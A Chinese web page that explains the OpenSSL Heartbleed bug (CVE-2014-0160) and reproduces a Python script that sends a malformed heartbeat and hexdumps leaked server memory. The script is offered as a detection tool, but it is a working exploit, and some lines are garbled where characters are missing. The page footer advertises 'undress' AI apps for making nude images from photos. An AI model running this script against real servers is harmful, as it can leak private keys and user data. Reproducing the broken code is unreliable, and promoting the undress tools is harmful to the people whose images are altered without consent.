一个检测OpenSSL心脏出血漏洞的Python脚本分享
什么是SSL?
SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。
SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。
什么是“心脏出血”漏洞?
SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。
谁发现的这个问题?
该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。
检测OpenSSL心脏出血漏洞的Python脚本
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 print ' %04x: %-48s %s' % (b, hxdat, pdat)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

The speed of mobile XML to PDF depends on the following factors: the complexity of XML structure. Mobile hardware configuration conversion method (library, algorithm) code quality optimization methods (select efficient libraries, optimize algorithms, cache data, and utilize multi-threading). Overall, there is no absolute answer and it needs to be optimized according to the specific situation.

It is impossible to complete XML to PDF conversion directly on your phone with a single application. It is necessary to use cloud services, which can be achieved through two steps: 1. Convert XML to PDF in the cloud, 2. Access or download the converted PDF file on the mobile phone.

There is no built-in sum function in C language, so it needs to be written by yourself. Sum can be achieved by traversing the array and accumulating elements: Loop version: Sum is calculated using for loop and array length. Pointer version: Use pointers to point to array elements, and efficient summing is achieved through self-increment pointers. Dynamically allocate array version: Dynamically allocate arrays and manage memory yourself, ensuring that allocated memory is freed to prevent memory leaks.

An application that converts XML directly to PDF cannot be found because they are two fundamentally different formats. XML is used to store data, while PDF is used to display documents. To complete the transformation, you can use programming languages and libraries such as Python and ReportLab to parse XML data and generate PDF documents.

XML can be converted to images by using an XSLT converter or image library. XSLT Converter: Use an XSLT processor and stylesheet to convert XML to images. Image Library: Use libraries such as PIL or ImageMagick to create images from XML data, such as drawing shapes and text.

To generate images through XML, you need to use graph libraries (such as Pillow and JFreeChart) as bridges to generate images based on metadata (size, color) in XML. The key to controlling the size of the image is to adjust the values of the <width> and <height> tags in XML. However, in practical applications, the complexity of XML structure, the fineness of graph drawing, the speed of image generation and memory consumption, and the selection of image formats all have an impact on the generated image size. Therefore, it is necessary to have a deep understanding of XML structure, proficient in the graphics library, and consider factors such as optimization algorithms and image format selection.

Use most text editors to open XML files; if you need a more intuitive tree display, you can use an XML editor, such as Oxygen XML Editor or XMLSpy; if you process XML data in a program, you need to use a programming language (such as Python) and XML libraries (such as xml.etree.ElementTree) to parse.

XML formatting tools can type code according to rules to improve readability and understanding. When selecting a tool, pay attention to customization capabilities, handling of special circumstances, performance and ease of use. Commonly used tool types include online tools, IDE plug-ins, and command-line tools.
